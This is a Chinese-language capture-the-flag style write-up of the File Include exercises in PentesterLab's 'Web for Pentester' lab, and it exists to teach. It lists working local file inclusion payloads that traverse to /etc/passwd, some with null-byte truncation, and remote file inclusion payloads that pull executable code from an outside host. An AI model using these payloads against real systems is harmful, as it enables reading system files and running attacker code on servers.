Web for pentester_writeup之File Include篇

Web for pentester_writeup之File Include篇

File Include（文件包涵）

Example 1

加一个单引号

从报错中我们可以获取如下信息：
当前文件执行的代码路径: /var/www/fileincl/example1.php
文件包含代码引用函数 include()
代码引用的文件路径：include_path= /usr/share/php:/usr/share/pear

Payload 1 （本地文件包含LFI）
http://192.168.219.136/fileincl/example1.php?page=../../../../../../../../etc/passwd

Payload 2 （远程文件包含RFI）
http://192.168.219.136/fileincl/example1.php?page=https://assets.pentesterlab.com/test_include.txt

其中https://assets.pentesterlab.com/test_include.txt是官方给的一个测试例子，也可以自己构建，在txt中写入想执行的代码

Example 2

没有后缀名了，同样添加一个单引号查看报错信息

发现函数调用的php文件变成了include(intro'.php)，我们可以使用%00截断来实现本地文件包含

Payload 1 （本地文件包含LFI）
http://192.168.219.136/fileincl/example2.php?page=../../../../../../../../etc/passwd%00

Payload 2 （远程文件包含RFI）
http://192.168.219.136/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt?blah=
或者使用&blah=当文件路径传参符号为&号时

Payload 3 （远程文件包含RFI，也可以在主机10.8.0.61自己构造一个phpinfo.php的文件，去掉后缀访问）
http://192.168.219.136/fileincl/example2.php?page=http://10.8.0.61/phpinfo